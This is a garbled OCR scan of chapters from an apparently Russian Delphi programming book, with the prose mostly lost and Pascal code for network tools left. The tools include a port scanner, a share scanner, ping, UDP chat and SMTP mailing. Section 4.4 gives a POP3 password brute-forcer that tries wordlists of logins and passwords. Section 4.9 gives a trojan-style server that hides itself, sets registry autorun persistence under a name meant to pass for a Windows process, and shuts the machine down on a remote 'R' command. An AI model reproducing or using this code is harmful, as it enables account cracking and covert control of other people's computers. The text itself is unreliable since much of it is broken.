end;
FSrc:=F3rc+#0;
DoSHFileOp(Handle, FileOpMode[21, FSrc, FDes, false);
end;
, .
DoSHFiieOp,
FileOpMode [2], . , ,
, .
3.19).
(-
1 3.19.
procedure TImageViewer.DelFilesActionExecute{Sender: TObject)
var
i: integer;
DelFName: string;
begin
if SheilListViewl.Selected=nil then
exit;
if FilesListView.isEditing then
exit ;
DelFName:='';
for i := 0 to FilesListView.items.Count-1 do
if (FilesListView.items.item[i].Selected) then
begin
www.kodges.ru
128
DeiFName:==DelFName+
FilesListView.Folders[FilesListView.Items,Itemfl]-Index].PathName+#O;
FilesListView.items.item[i].Selected:=false;
end;
DelFName:=DelFName+#O;
DoSHFileOp{Handle, FO__DELETE, DelFName, DelFName, false) ;
end;
, . :
1. , - FilesListView. isEditing. , .
2. DoSHFiieOp FODELETE,
FiieOpMode[i], .
( 3.20).
,,
www.kodges.ru
129
-.
$oi $02
.
,
.
nil.
. 3.19 ,
.
: Answer
!
/**/)
&l^/i|
Answer
. . . .
: l i h SuperPad
[...
: ;\
;
19 (19 )
4,00 (4 096 )
29 2002 ., 13:2:56
25 2002 ., 13:28:58
4 2003 .
. 3.19.
,
SHObjectProperties, Delphi .
standardDiaiogs.pas ( 3.21).
*."* if- F'P' "
unit StandardDialogs;
www.kodges.ru
130
interface
uses
Windows, Messages, SHIObj;
const
RFFJJOBROWSE = $01;
RFF_NODEFAULT = $02;
RFF_CALCDIRECTORY = $04;
RFF_NOLABEL = $08;
RFF__NOSEPARATEMEM = $20;
//Notification Return Values
//Allow the Application to run.
RFjDK = $00;
//Cancel the operation and close the dialog.
RF_CANCEL = $01;
//Cancel the operation, but leave the dialog open.
RF__RETRY = $02;
//SHObjectProperties Flags
OPF__PRINTERNAME = $01;
OPF_PATHNAME = $02;
type
NMJWNFILEDLG = r e c o r d
h d r : NMHDR;
lpFile: PChar;
ipDirectory: PChar;
nShow: Integer;
end;
TSHPicklconDlg = function(hwndOwner: HWND; lpstrFile: LPWSTR;
var pdwBufferSize: DWord; var lpdwlconlndex: DWord): Boolean;
stdcall;
TSHRunFileDlg = procedure(hwndOwner: HWND; hlcon: HICON;
ipstrDirectory, lpstrTitle, ipstrDescription: PChar;
www.kodges.ru
131
www.kodges.ru
132
initialization
hDll := LoadLibrary(DllName);
if hDll <> 0 then
begin
// (rom) is load by ID really good?
SHPicklconDlg := GetProcAddress(hDll, PChar(62));
SHHandleDiskFull := GetProcAddress(hDll, PChar(185));
SHOutOfMemoryMessageBox := GetProcAddress(hDll, PChar(126));
SHObjectProperties := GetProcAddress(hDll, PChar(178));
SHFindComputer := GetProcAddress(hDll, PChar(91)};
SHFindFiles := GetProcAddress(hDll, PChar(90));
SHRunFileDlg :*= GetProcAddress (hDll, PChar(61));
SHRestartDlg := GetProcAddress(hDll, PChar(59));
SHExitWindowsDlg := GetProcAddress(hDll, PChar(60));
end
finalization
if hDll <> 0 then
FreeLibrary(hDll);
end.
uses standardDiaiogs . .
- \\ 3\File Operation
.
www.kodges.ru
Delphi. , ,
, Delphi, .
, ""
, :
1. .
2. .
3. .
. .
. .
, .
, . 5
.
, .
WinAPI, , . , ,
.
4.1.
,
. ,
.
, Net.pdf
www.kodges.ru
134
-, , ,
.
, , -
. ? , , , , . - .
? ? ?
.
, ,
(OSI Open Systems Interconnection),
(ISO, International Organization for Standardization).
:
1.
( , , ).
.
2.
. -.
3. . .
4.
.
, , .
5. . .
6.
(, ).
7. (FTP, E-mail .)
.
, , , ,
, , . . .
?
. .
www.kodges.ru
135
( ). , . ,
.
, , . . ( ).
.
, , .
.
, ,
. .
( ),
( ).
, .
0S1
MS TCP/IP
NetBIOS
Windows
NetBIOS .
TCP/IP
TDI
UDP
ICMP
TCP
IP
IGMP
ARP
RARP
NDIS
Internet
FDDI
. 4 . 1 , OSI MS
www.kodges.ru
136
Microsoft
OSI TCP/IP -. , OSI , , , .
Microsoft . ,
, Microsoft
, OSI . ,
Microsoft , ,
.
. 4.1 MS TCP
OSI. MS,
OSI. .
, , .
4.1.1.
IP
, TCP/IP .
, . , .
(. 4.1), ,
IP . ,
IP
.
IP
. , IP
(
Acknowledgment), . , .
IP- , , TTL ( ) . , ,
. . - , . , , . -
, ,
. IP .
www.kodges.ru
137
4.1.3.
UDP
: UDP TCP.
IP. , TCP UDP
,
IP. , TTL
IP.
. TCP ,
www.kodges.ru
138
,
IP- .
,
UDP. IP, UDP . , . , .
, IP,
.
UDP , ( TCP, ). -
,
.
. , ,
, . , ,
.
. , . UDP (spoofing,
), .
, UDP , ,
( )
(UDP ).
4.1.4. , TCP
, TCP UDP
IP ( IP). TCP IP TCP/IP, TCP
IP.
UDP TCP (IP).
, .
TCP,
.
, . , .
.
www.kodges.ru
139_
,
, TCP-. ( ).
,
( , ).
- ,
TCP
UDP. TCP , .
( ),
, UDP. ,
, UDP, , .
TCP
, TCP . .
1. , , SYN-
, , ,
( ).
2. SYN,
. SYN- -, ,
1.
3. SYN
1.
,
. . -
( ), .
, ,
. , .
, -, .
www.kodges.ru
140
4.1.5.
NetBIOS
NetBIOS (Network Basic Input Output System,
) .
, API-
( NetBIOS , ...).
NetBIOS 1983 Sytek Corporation IBM.
NetBIOS ,
. . .
,
, - .
. 4.1, , NetBIOS
. ,
. .
NetBIOS ,
, TCP/IP,
IPX/SPX . . , NetBIOS . ( , ) , ,
NetBIOS . ? , ,
NetBIOS. ,
unix/windows TCP, Novell- IPX.
, ,
NetBIOS,
.
NetBIOS TCP, IPX, . .
,
NetBIOS. , IPX/SPX
. , "NWLink
IPX/SPX/NetBIOS Compatible Transport Protocol".
NetBIOS
TCP, ,
.
TCP/IP, a NetBIOS
.
- , NetBIOS.
www.kodges.ru
141
4.1.6. N e t B E U I
1985 IBM NetBIOS , , .
NetBEUI (NetBIOS Extended User Interface,
NetBIOS), NetBIOS.
, NetBEUI ,
:). ,
, NetBEUI.
4.1.7. Windows
(Sockets) ,
.
, BSD
Unix. TCP/IP,
.
, . HTTP, FTP, POP3, SMTP .
TCP, UDP
sockets/winsock.
4.1.8. IPX/SPX
, , . IPX/SPX.
IPX (Internetwork Packet Exchange) , ,
Novell.
Novell,
. IPX IP UDP ,
.
SPX (Sequence Packet Exchange) IPX,
.
IPX,
IPX/SPX IPX/SPX11.
www.kodges.ru
142
IPX , DOS,
.
, ,
, , , HTTP/TCP/IP.
, , - . .
OSI, , . .
,
OSI .
4.2. 139-
, Whols. ,
, . , , . , - ,
Whols , . -
,
,
.
Whols Indy.
Delphi 6 Delphi 7, ,
.
Borland www.borland.ru.
Delphi www.torry.net VCL.
www.kodges.ru
143
. 4.2.
z~
True
0
whois.intemic.net
maEKception
le3S4_
43
Q
32768
32768
0
. 4.4. IdWhols
www.kodges.ru
144
www.kodges.ru
145
, #. ,
FindResult.
:
while Length(FindResult) > 0 do
begin
end;
? (Length) ,
FindResult, , ,
begin end. # FindResult Pos (#10, FindResult). IPOS. , FindResult ,
#10, iPos .
:
Line:=Copy(FindResult, I, iPos -1))
Line FindResult,
#.
.
:
ResultsMemo.Lines,Add(Line).
:
Delete(FindResult, I, Length(Line)+1)
FindResult ,
. ,
FindResult , ,
. FindResult ,
.
#10? ( ), *nix. Windows
: #13 # ( ). *nix, . .
ResultsMemo.Text:=FindResult;
Windows ,
. , .
www.kodges.ru
146
whois .
- , . ,
. ,
, , , .
,
( whois.internic.net) .
.
- \\ 4\WhoIs .
4.3.
?
. , , , FTP 21- , HTTP 80-
. . , : FTP WEB. , ,
. , FTP- XXX.XXX.XXX.XXX
21, ,
FTP-, WEB.
, - , , ,
, . ,
, .
? , ,
, . ,
, 21- , ,
FTP-, :
FTP Client.
?
. ,
, . ,
. -
,
.
,
, .
www.kodges.ru
147
. Delphi.
:
! ( Buttonl);
TLabel ( Labell Label2);
TEdit ( Editl Edit2).
caption , Labell
, Labei2 .
7
!Edit2
. 4 . 5 .
,
. 4.5.
, , Editl, ,
Edit2.
- Tcpciient
Internet. Borland TCP/IP , ,
.
7 Delphi ? - Project!
File Edit Search View Project Run Component t>Jntetnefjj WebSeivices | WebSnao 1 Dialogs [ Sarrales | Ra
"
http: - * 1
"'"
" '
Jj_. I
. 4 . 6 . TCPCIient Internet
,
. Editl Text 1, Edit2 2.
www.kodges.ru
148
. .
. .
. 4.7.
t
j
J1
]2
.
. 4.7.
, .
, - 8 .
.
onclick . ( 4.1).
^4.11& *
www.kodges.ru
149
// ,
if TcpClientl.Connected then
Memol.Lines.Add(IntToStr(i)+' ');
//
TcpClientl.Close;
end;
end;
, . var
i (integer) i p s t r (string). ( begin) ipst 127.0.0.1.
.
IP- :
4
InputQuery.
( . 4.8). .
1. .
2. , .
3. , .
7 '
IP
Cancel
. 4.8. IP-
,
true, false. :
if not InputQuery (...) then exit;
: " , ".
, :
for i:=StrToInt(Editl.Text) to StrToInt(Edit2.Text) do
, begin
end . , :
TcpClienti.RemotePort:=IntToStr(i);
TcpClientl RemotePort , i. RemotePort ,
www.kodges.ru
150
i intTostr. i , .
. Open Tcpciienti:
TcpClientl.Open;
, Connected T c p C l i e n t l
true, .
Memoi:
Memol.Lines.Add(IntToStr(i) + ' ');
,
close. , ,
.
. Windows 1 000
,
10 . , ,
. ,
, 1 000 .
- \\ 4\ScanPort .
4.4.
: ",
, -
time-out ?" ,
. ,
.
: " ?" . ,
. . , .
, ,
. . , . ,
. .
www.kodges.ru
151
Indy (, Delphi 6,
).
TEdit.
NameEdit .
PassEdit ~ .
serverNameEdit .
PortEdit . ,
, .
, . . 4.9.
[ Forml
lpass.txt
l p o p m a i l
. 4 . 9 .
Object Inspector
[icftnliFreezel
-:,,.' -
HI
_J
Ptopeities j Events |
Active
True
I ApplicalionHasPnonty j True
idleTimedid
_ ;250
Mams .
iTrue
QnlvWhenldle
Tag
1
All shown
. 4 . 1 0 . IdAntiFreeze
www.kodges.ru
152
TButton,
. , ,
idPOP3 Indy .
IdAntiFreeze
Indy Misc. , , .
, Indy. , - .
onclick
( 4.2).
HI 2 .
procedure TForml.ButtonlClick(Sender: TObject);
var
LoginStrings, PassStrings:TStrings;
i, j:Integer;
begin
//
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
//
LoginStrings.LoadFromFile(NameEdit.Text);
PassStrings.LoadFromFiie(PassEdit.Text) ;
//
IdPOP.Host := ServerNameEdit.Text;
IdPOP.Port := StrToInt(PortEdit.Text);
//
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
//
IdPOP.UserlD := LoginStrings.Strings[i];
// Delphi 7 :
//IdPOP.Username := LoginStrings.Strings[i];
IdPOP.Password := PassStrings.Strings[j];
// .
try
www.kodges.ru
153
IdPOP.Connect;
except
end;
// ,
if IdPOP.Connected then
begin
//
Application.MessageBox(PChar(':'+LoginStrings.Strings[i]+
1
IdPOP.Disconnect;
Exit;
end;
end;
//
LoginStrings.Free
PassStrings.Free;
end;
, .
TStrings ( )
, .
. ,
. . , , create.
. ,
. . 4.11 , .
, ,
. , @,
.
.
,'
.
www.kodges.ru
154
4
\ LOGINS.TXT -
!
l o h
v a s i I i y_Pet rovi ch
gertva
. 4 . 1 1 .
, idPOP , . ,
.
:
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-I do
begin
end;
, , begin end, . ,
.
end .
idPOP.
, Delphi 6 id?op
userio, 7- - usemame. , , .
, ,
.
,
t r y . . . .except . . .end. . , try except,
.
www.kodges.ru
155
try
IdPOP.Connect;
except
end;
try except (
) , , , except end.
? ? , , .
. , . MS
.... , , ,
" Delphi".
;11
. 4.12. Windows XP
,
. Delphi.
<Ctrl>+<F9>,
-.
Delphi, ,
.
. , . ,
, - time-out.
- \\ 4\Brute
.
6 3. 978
www.kodges.ru
156
4.5. - -
Delphi.
, . .
, ,
Delphi. , , ,
Borland.
Ping. Internet Component Suite
(ICS). http://www.rtfm.be/fpiette/indexuk.htm
- KoMnoneHTbi\Internet\ICS.
, C:\components,
.
Delphi. , . , (File\Close All).
Delphi ,
-. , ,
IcsdelXX.dpk, XX Delphi.
Delphi 6 Delphi 7, Icsdel50.dpk. , 5- .
(Package - IC5DEL50.dpk
Comple
i i
Files
[]
; J)
Add
DnsQuery.dcf
DnsQueiy.pas
emulvl.dcr
emulvt.pas
fingdidcf
Jingcli pas
formpos. pas
FlpCli.dcr
\ FtpCfi.pas
\ FtpStv.dcf
; ) FtpStv.pas
i - FtpSrvC.pas
Remove ;
Oplions
Path
CACompoerin\D
itELPHW
I C32 ~~
C\:CoTipionere
t\DELPHW
I C32
C\:Componenst\DELPH\V
IC32 J
CAComponenst\DELPH\V
IC32
C
AComponenst\DE
LPH
\V
IC32
AComponents\DE
LPH
1WC32
C:\Coft4xments\D E LPH 1 \VC32
CAComponents\D E LPH 1WC32
C:\ComponenU\0 ELPHiWC32
CAComponenls\DE LPH 1WC32
AComponentsVD E LPHIWC32
C:\ComDonerts\DELPHIWC32
jd
. 4 . 1 3 .
, , . 4.13.
Install, Delphi
www.kodges.ru
157
. , (. 4.14).
Information
Package d:\program fe
l s\boHand\dep
l h6
i \PrD}ects\BpU
l CSDEL50.bp) has been Instated.
The following new components) have been registered: DnsQuery.TDnsQuery, Emuhrt.TEmuV
l T, RngCli.TFingerOij
Ftpdi.TFtpClient, FtpSrv.TFtpServer, HtpPrDt.THtpCS, HttpSrv.THttpServer, ruxFile.TMbxHander,
Mm
i eDec.TMm
i eDecode, NntpCl.TNntpCli, Ping.TPing, Pop3Prot.TPop3C,il Pop3Prot.TSyncPop3C,il SmtpProt.TSmtpC,l
SrntpProt.TSyncSmtpC.li TnCnx.TTnCnx, TnEmJvb.TTnEmuV
l T, TnScnpt.TTnScript, Wait.TWait, WSoctet.TWSocket,
WuxketS.TWSocketServer.
. 4 . 1 4 .
Delphi, ,
.
Tools Environment Options. Delphi.
Library (. 4.15).
Environment Options
Type Library | Envrionment Variables j Delphi Direct | Internet
Preferences | Desg
i ner j Obe
j ct Inspector j Paletle Library |, Expo
l rer
. '-Directories- -~
- " "
Lfeiarypath: |$[DELPHI]\Lb$
j (DELPHfBn
i :J(DELPHI)Mmpin T l ^ j
: BPL, output directory: |$[DELPH)i4Pc
i .|ects\Bpl
~3A\
DCP output di[ectory: |$D
l ELPHI)VPo
ie
i ctsSBpl
Browsn
i g path |$(DELPHl)1.source\vcl$[DELPHI!^c.urce\rt!\Co^j |!
Cancel I
Help |
. 4 . 1 5 . Delphi
Library path,
, . 4.16. .
, (
www.kodges.ru
158
I I ,-
1.- 1
z l
Repa
l ce j
dd I fJelete
OeletelnvalidPaths i
1 L.J
1 _ _
Ij
Hep
l |
Cancef
. 4.16.
FPiette. . FTpciient.
( ), " ".
.
FPe
ite
*** as
POP3 U/ 8.
. 4.17. FPiatte
,
. ,
. .
TLabei TEdit. ,
. 4.I8.
Label! Caption , Label2
. Labeli Editi. IP- , . Edit2
.
RichEdit
Win32. . -
www.kodges.ru
159
, Ping FPiette,
(. 4.19).
i '
. 4.18,
[Object Inspector
jPingl
Properties |Events)
Address
Flafls
0
Name
;PinB1
Size
1 Tm
i eout
1 TTL
UODO
(Alt shown
- -
~ 'j
. 4.19. Ping
, . , .
onclick . :
procedure TPingForm.ButtonlClick(Sender: TObject);
begin
RichEditl. Lines. Add (' " + Editl.Text + " " ) ;
Pingl.Size:=StrToInt(Edit2,Text);
Pingl.DnsLookup(Editl.Text);
end;
www.kodges.ru
160
RichEdit
.
(pingl.size), Edit2. DNS (pingi.DnsLookup). IP-, DNS .
Pingi
onDnsLookupDone ( DNS). :
procedure TPingForm.PinglDnsLookupDone(Sender: TObject; Error: Word);
begin
// , ...
if Error <> 0 then
begin
//
RichEdit 1. Lines. Add (' ' + Editl.Text + " " ) ;
//
Expend;
// , RichEditl
RichEditl.Lines.Add(' ''' + Editl.Text + '" - ' + Pingl.DnsResult);
// Address Ping
//, DNS
Pingl.Address := Pingl.DnsResult,// Ping
Pingl.Ping;
end;
, . ,
.
. .
onEchoRepiy Pingi:
procedure TPingForm.PinglEchoReply(Sender, Icmp: TObject; Error: Integer) ;
begin
if Error = 0 then
RichEditl.Lines.Add('He ping: '+
Pingl.Errorstring)
else
www.kodges.ru
161
. Error , . , ,
ping.
. OnEchoRequest pingl. :
procedure TPingForm.PinglEchoRequest(Sender, Icmp: TObject);
begin
RichEditl.Lines.Add(' ' + IntToStr(Pingl.Size) +
' ' + Pingl.HostName);
end;
, . OnEchoRequest , . ,
. ,
.
| LOH_USHASTIK
: |SG
Ping
ibCHKtOHJJSHASTIK'
lOHJJSHASTIK1-194.190.35.1
5 134.190.35.1 (194.190.35.1)
5G 194.190.35.1 0
. 4.20. Ping
, , - .
www.kodges.ru
162
4.6.
, ,
: " X-Coding ?" ,
. , . ,
, -
, , . , , . .
, .
: TCP UDP. IPX, Novell.
, . IPX. , (FTP, HTTP, POP3, SMTP ), TCP UDP.
: " "? TCP
. , .
(FTP). TCP,
-. , FTP () TCP.
FTP , . -
www.kodges.ru
163
( FTP) TCP,
.
Delphi
, -
. .
, ,
- OSI (Open Systems Interconnection)
( . . 4.1
). ,
.
UDP TCP. ,
. , , , . UDP , TCP.
,
.
TCP,
,
. , ,
UDP.
.
Delphi UDP- Indy.
, .
lUDPl
UDP
. 4.21.
, . , , Delphi.
www.kodges.ru
164
. 3 .
. .
TEdit, .
TButton, .
. 4.21 .
idUDPCiient ( , . 4.22) Indy Clients idUDPServer ( , . 4.23) Indy Servers. .
Object Inspector
IdUDPCIienti
Properties | Events!
Active
True
Broadcasts nabe
l cTrue
Bufer Size
8132
Host
t
Name
Port
11245
Receive Tm
i eout 2
Tag
0
~'""m
Alf shown
. 4.22. idUDPCiient
abject Inspector
IdUDPServeri
Properties Events i
IS
"-;'"3
True
Active
Bindings
BroedcastEnablec True
BufferSize
8192
11245
Name
0
Tag
ThreadedEvent False
All shown
. 4.23. idUDPServer
UDP. ,
1 65 000, .
www.kodges.ru
165
11245 ( ).
Port iduopciient DefauitPort iduopserver.
, .
!!! UDP TCP.
, - 80 UDP- 80.
(iduopciient) Host. IP- , .
, . , , BroadcastEnabled true.
IP- ( ,
). 192.168,100.x,
192.168.100.255 (
255).
, .
onclick
:
procedure TForml.ButtonlClicMSender: TObject);
begin
IdUDPClientl.Send(Editl.Text);
end;
, UDP- ( Editl).
UDP- .
OnUDPRead IdUDPServer.
:
procedure TForml.IdUDPServerlUDPRead(Sender: TObject; AData:
TStream; ABinding: TIdSocketHandle);
var
StringFonnatedStream; TStringStream;
s: String;
begin
//
StringFormatedStream : = TStringStream.Create('*);
//
StringFormatedStream.CopyFrom(AData, AData.Size);
//
Memol.Lines.Add(ABinding.PeerIP+' '+StringFormatedStream.DataString);
www.kodges.ru
166
//
ABinding.SendTo(ABinding.PeerIP, ABinding.PeerPort, s [1], Length(s));
//
StringFormatedStream.Free;
end;
- .
. , .
, .
, .
xstream.
, TStringStream. ,
? , , ? , !
, .
StringFormatedStream TStringStream (
). .
. !!! Datastring
StringFormatedStream. Memo.
192.168,100.3!!!
192.168.100.4
192.1G8.1G0.4 ?
192.168.100.38:)
192.163.100.3 ?
192168.100.4 ' 11
192.168.100.3
192.168.100.3 !!!
. 4 . 2 4 .
, ,
. IP- ,
peerip ABinding.
, .
192.168.100.x ? ,
www.kodges.ru
167
. . :
1
Edit2. ;
IdUDPClientl.Send(Edit2.Text+' '+Edit1.Text);
- \\ 4\Chat
.
4.7.
, ?
(, ),
. ,
() - . ,
, .
, , , . ( Windows ,
), .,
, IP-, .
, . . Delphi .
TEdit ( name
AddressEdit) ( name Memol). . . 4.25 .
AddressEdit .
. , ,
.
, .
, .
www.kodges.ru
168
4
' l f
. 4.25.
onclick
( 4.3).
www.kodges.ru
169
begin
WNetCloseEnum(hNetEnum) ;
exit;
end;
for i := 1 to EntriesToGet do
Memol.Lines.Add(string(ResourceBuffer[i].lpRemoteName));
end;
end;
, .
, .
NetcontainerToOpen, var NETRESOURCE.
.
1. dwScope . RESOURCE_GLOBALNET .
1
lpLocaiName .
RESOURCETYPE__ANY.
3. , .
, . :
RESOURCEUSAGE_
CONNECTABLE , RESOURCEUSAGE_CONTAINER
4. , .
5. THandie, .
,
. :
while TRUE do
www.kodges.ru
170
begin
end;
WNetEnumResource.
( NOERROR), TO wnetcioseEnum, ,
. WnetEnumResource
:
1. , wNetopenEnum.
2. , . EntriesToGet, 2000. ,
2000, .
3. TNetResource.
. 2 000 , ,
2 000 (ResourceBuf f e r :
a r r a y t l . . 2 0 0 0 ] of TNetResource;).
4. , .
WnetcioseEnum , ,
WNetopenEnum.
,
. 0 EntriesToGet:
for i := 1 to EntriesToGet do
Memol.Lines.Addfstring(ResourceBuffer[i].lpRemoteName));
Memol , .
lpRemoteName ResourceBuffer. ,
: ResourceBuffer [ i ] .lpRemoteName ,
.
String():
String(ResourceBuffer[i].lpRemoteName).
, , , . -
. , .
. ,
www.kodges.ru
171
. , 3-5
. ,
. , ping IP-. , .
, ,
, .
iPaddie |i 92168.100 2
W192.168.100.2\C
Wl 92.168.100.2\G
SU 92.168.100.2\NET
V\192.168.10Q.2WIDE0
. 4.26.
- \\ 4\Scan share
.
4.8.
- ,
, .
. Delphi ,
.
,
.
, ,
. , ( ).
, .
Free Internet.
www.kodges.ru
172
, .
/Freenet.
. Delphi Freelnter.dpk
Install (. 4.27). Delphi 5, 6 7.
^ , a
a
Compe
li ' Add Remove
Path
Files
Addibook.pas
Attdef.pas
Attmgi.pas
Ftp pas
Gretmail.pas
Inetmail.pas
Mimemgr.pas
Nmailba.pas
Regftp.dcr
Regf'p pas
Reggm.dct
Optons
EAPtO|ects^Delphi\Componentj\lntem<
E:\Projects\D 1\\
EAPfoiects\DelpN\Cornponents\lntern<
E:\PFoiectsSDelphi\Components\lnterne
E:\Piojects\Delphi\ComponentsMnteifx
EAProjecls\Delpfii\ComponentiMnteine
EAProiectsVDelpWCompotwntsUnteinf
EAPioiects\Delphi^Components\lntem(
E:\Pmiects\D dphi\ComponentsMnternf
EAProiects\Delphi^Compotieri!i\Jntem(
EAPm|ectsVDelphi\ComponentsMnlefn(
. 4.27.
Q Sand latai j
. 4.28.
www.kodges.ru
173
, . . 4,28,
. , . , , , The BAT.
, ,
, , .
(. 4.29) ,
, :). . , .
, ,
.
Name: Neon, N
Oiganization:
Addrest: neon@mali IU
Nickname:
. 4.29.
, . ,
. Delphi Application.
. 4.30.
sendMaii. .
SMTP, .
,
www.kodges.ru
174
. 4.31. .
I'.
. 4.30.
Port ; [25
E-mail addless
OK
. 4 . 3 1 . ,
SMTP-
, .
( 4.4.).
www.kodges.ru
175
if SMTPOptForm.SMTPEdit.Text='' then
SMTPOptForm.ShowModal;
//
SendMaill.FROM_Address:=SMTPOptForm.SendFromEdit.Text;
SendMaill.SMTP_Server:=SMTPOptForm.SMTPEdit.Text;
SendMaill.Port:^StrToIntDef(SMTPOptForm.PortEdit.Text,25);
SendMaill.TO_Address:=SendToEdit.Text;
SendMail1.Subj ect:=SubEdit.Text;
//
SendMaill.Listcc.Clear;
SendMaill.Listcc.Add(CCEdit.Text);
//
SendMaill.MailText.Clear;
for i:=0 to TextEdit.Lines.Count~l do
SendMaill.MailText.Add(TextEdit.Lines.Strings[i]);
//
SendMaill.Attachments.Clear;
SendMaill.Attachments.Add('');
//
SendMaill.Action:=Send_Mail;
end;
SMTP-.
SMTPOptForm SMTP- ,
, , .
SendMaill, . .
FROM_Address e-mail .
sMTP_server SMTP-.
port . 25- .
TO_Address , .
subject .
, .
Listcc. ,
clear.
, :
SendMaill.Listcc.Clear;
www.kodges.ru
176
SendMaill.Listec.Add('vasya@mail.ru') ;
SendMaill.Listcc.Add('petya@raail.ru');
MaiiText. Clear, ,
:
SendMaill.MaiiText.Clear;
for i:=0 to TextEdit-Lines.Count-1 do
SendMaill.MaiiText.Add(TextEdit.Lines.Strings[i
3);
, ,
.
Attachments. clear, Add.
, .
SendMaill.Attachments.Clear;
SendMaill.Attachments.Add('c:\filename.txt');
:
SendMaill.Action:=Send_Mail;
Action sendMaii.
. , . ,
- , SMTP-
,
.
- \\ 4\Send Mail
.
4.9.
" 10 ", 1 "", . ,
, .
, .
.
,
.
www.kodges.ru
177
.
. , ,
. ,
. , ,
.
.
. ,
.
, . ,
,
. , .
, , .
(),
(). ,
. , .
4.9.1.
Delphi, , (File/New Application). .
Options Project. , . 4.32.
Forrai Auto-Create forms ( ) Available forms ( ). Forml
.
. , .
Application Load Icon.
, .
, Delphi,
.
serverSocket
Internet, TCP.
serverSocketi Object Inspector.
Port. 24,
(, 1 000). , .
, 1 024 65 000
.
www.kodges.ru
178
. 4.32.
. 4.33. Internet
serversocket Internet,
( Delphi 7 6 ).
Delphi dclsocketsXX.bpl,
XX Delphi. - .
bin-,
Delphi. bpl- .
Delphi Install Package
Component. , . 4.34.
Add, . dclsocketsXX.bpl.
.
. , . -
www.kodges.ru
179
Events. oncreate,
Delphi, , - ,
. :
procedure TForml.FormCreate(Sender: TObject);
RegIni:TRegIniFile;
begin
Reglni:=TRegIniFile.Create('Software'
RegIni.RootKey:=HKEY__LOCAL__MACHINE;
Reglni.OpenKey('Software', true);
Reglni.OpenKey('Microsoft', true);
Reglni.OpenKey('Windows', true);
Reglni.OpenKey('CurrentVersion' true);
Reglni.WriteString('RunServices 'Internat32.exe'
Application.ExeName);
Reglni.Free;
ServerSocketl.Active:=true;
end;
Project Options for Proiecti-exe
Packages
" Design packages
otland Actions ar Components
; Borland ADO DB Components
/' Borland BDE DB Components
./ Boiland CLX Database Components
Borland CLX Standard Components
Borland Control Panel Applet Package
! eAprogram f ile3\bo[lan d4delphi7\B in4ddect70. bpl
Add...
Remove
OK
. 4.34.
www.kodges.ru
180
uses registry,
, Delphi
. uses :
uses registry, Windows, Messages
, .
var RegIni:TRegIniFile Reglni
TReginiFiie. .
Reglni:=TRegIniFile.Create('Software') , .
Regini.RootKey:=HKEY_LOCAL_MACHiNE ,
HKEY_CURRENT_USER .
Reglni. OpenKeyt 'Software' , true) Software.
,
.
Reglni.WriteString('RunServices', 'Internat32.exe', Application.)
Runservices ( , Windows) Internat32.exe ( ) Application.ExeNaine
( ).
G Reglni . Free Reglni.
,
.
.
serverSocketi.Active:=true
.
, .
Events
OnDestroy. ,
. :
procedure TForml.FormDistroy(Sender: TObject; var Action: TCloseAction);
begin
ServerSocketl.Active:=false;
end;
, .
, ^ . ,
. , ,
www.kodges.ru
181
. , , , - . , (
, ,
).
serversocketi Events
Object Inspector. onCiientRead
( , ) :
procedure TForml.ServerSocketlClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
s: String;
begin
s:= Socket .ReceiveText,if s='Rf then
ExitWindowsEx(EWX_SHUTDOWN,0);
end;
ReceiveText
Socket, . ,
,
.
: R, TO
.
ExitwindowsEx Windows . , EWXSHUTDOWN.
, . ,
EWXFORCE.
( , ),
.
, . Save All
File. Delphi . Unitl - .
, . Intemat32, .
. Windows 9x
<Ctrl>+<Alt>+<Del>,
. Windows 2000/XP -
www.kodges.ru
182
<Ctrl>+<Alt>+
<Del>, .
,
, Internat32,
Windows Internat,
. ,
Internat - - (, "32")
, .
,
. Project Manager
View. , . 4.35.
Internat32.exe View Source. . , , 4.5, , , (
).
(Project Manager
I?
New
|internat32.exe
FileT
ProjeclGroup!
It LJnifl
Remove Ach'ate
D:\Program Files\Bor(and\Delphi6VProiects
. ,7 "
- - phJ6\Proiects
Ado...
_ .
_..
3hib\Proiects
r
Remove File...
Save
Options..,
Activate
Compile
Build
View Source
Close
Remove Project
O'J'k: Sooner
Build Lfpt if i"
v* Toolbar
Status Bar
Stay on Top
/ Dockable
. 4.35.
www.kodges.ru
183
4.5.
program Internat32;
uses
Forms,
Windows.
Unitl in 'Unitl.pas' {Forml);
{?R *.RES}
var
WhEvent:THandle;
begin
Application.Initialize,
ShowWindowfApplication.Handle,SW_HIDE);
Forml:=TForml.Create{nil);
Application.Run;
WhEvent:=CreateEvent{nil, true, false, 'et');
while (true) do
begin
WaitForSingleObject(WhEvent, 1000);
Application.ProcessMessages;
end;
end.
. .
, . , . , var.
WhEvent :THandie , WhEvent
THandle.
Application, i n i t i a l i z e .
showwindow(Application.Handle, SW_HIDE) . SW_HIDE , .
,
<Ctrl>+<Alt>+<Del>. ( , ) .
Formi:=TFormi.Create(nii) .
, .
www.kodges.ru
184
Application.Run . , Delphi
C++. Delphi
.
WhEvent:=CreateEvent(nil,
,
true,false,
' e t ' ) -
, :
1. .
, ( 1 000 1 ).
2. .
1 .
. ( ) ,
: .
.
, . (
)
. ,
"
".
<Ctrl>+<F9> Delphi - . Delphi , , . , ,
:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServ
ices. He .
, .
4.9.2.
. . :
Button Standard ;
Edit Standard ;
ciientsocket Internet .
. 4.36, .
www.kodges.ru
185
Y forml
Editi
m :
Byttoni
. 4.36.
ciientsocketi .
, , .
(
) .
procedure TForml.ButtonlClick(Sender: TObject);
begin
ClientSocketl.Host:=Editl.Text;
ClientSocketl.Active:=true;
ClientSocket1.Socket.SendText('R');
ClientSocket1.Active:=false;
end;
, .
ClientSocketl. Host :=Editl. Text ClientSocketl , .
,
. IP-,
, ClientSocketl.Addres:=Editl.Text.
Editi IP-.
ClientSocketl.Active:=true .
C l i e n t S o c k e t l . Socket. SendText ('R')
R.
?
R, .
ClientSocketl.Active: =faise .
. . <Ctrl>+<F9>,
Delphi - .
. .
( , IP) . .
www.kodges.ru
186
- \\ 4\
.
4.10.
ServerSocket C l i e n t S o c k e t
, .
- ,
.
: . , . , .
, .
.
Edit, .
Button,
. , .
ServerSocket, .
openDiaiog, .
/
.
. 4 . 3 7 .
www.kodges.ru
187
. .
,
, . onciientRead, , ( 4.6).
:
www.kodges.ru
188
